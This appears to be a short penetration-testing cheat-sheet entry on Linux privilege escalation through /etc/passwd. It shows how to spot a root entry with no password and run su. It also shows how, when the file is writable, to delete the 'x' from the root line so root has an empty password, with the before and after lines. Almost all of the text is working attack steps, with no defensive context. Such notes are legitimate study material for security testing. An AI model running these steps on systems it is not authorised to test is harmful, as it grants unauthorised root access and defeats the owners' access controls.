/etc/passwd

/etc/passwd readible - root no password ?

No x ?

$ head -n 1 /etc/passwd

root::0:0:root:/root:/bin/bash

$ su

/etc/passwd writable

change root line (remove x):

Before:

root:x:0:0:root:/root:/bin/bash

After:

root::0:0:root:/root:/bin/bash

Last updated